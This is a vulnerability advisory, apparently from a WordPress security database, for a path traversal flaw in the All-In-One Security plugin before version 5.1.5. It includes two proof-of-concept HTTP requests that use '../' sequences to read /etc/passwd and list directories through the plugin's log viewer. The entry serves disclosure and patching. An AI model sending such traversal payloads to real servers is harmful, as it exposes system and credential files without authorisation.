All-In-One Security (AIOS) < 5.1.5 - Admin+ Arbitrary File/Folder Access via Traversal

2023-03-2000:00:00

Bartłomiej Marek

aios

security

admin access

file access

filesystem

exploit

EPSS

0.001

Percentile

29.8%

JSON

The plugin does not limit what log files to display in it’s settings pages, allowing an authorized user (admin+) to view the contents of arbitrary files and list directories anywhere on the server (to which the web server has access). The plugin only displays the last 50 lines of the file.

POST /wp-admin/admin.php?page=aiowpsec_filesystem&tab=tab4 HTTP/2
Host: <host>
Cookie: <cookies>
Content-Length: 125
Content-Type: application/x-www-form-urlencoded

_wpnonce=<nonce>&aiowps_system_log_file=..%2F..%2F..%2F..%2Fetc%2Fpasswd&aiowps_search_error_files=View+latest+system+logs


POST /wp-admin/admin.php?page=aiowpsec_filesystem&tab=tab4 HTTP/2
Host: <host>
Cookie: <cookies>
Content-Length: 98
Content-Type: application/x-www-form-urlencoded

_wpnonce=<nonce>&aiowps_system_log_file=..%2F&aiowps_search_error_files=View+latest+system+logs


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EPSS

0.001

Percentile

29.8%

JSON

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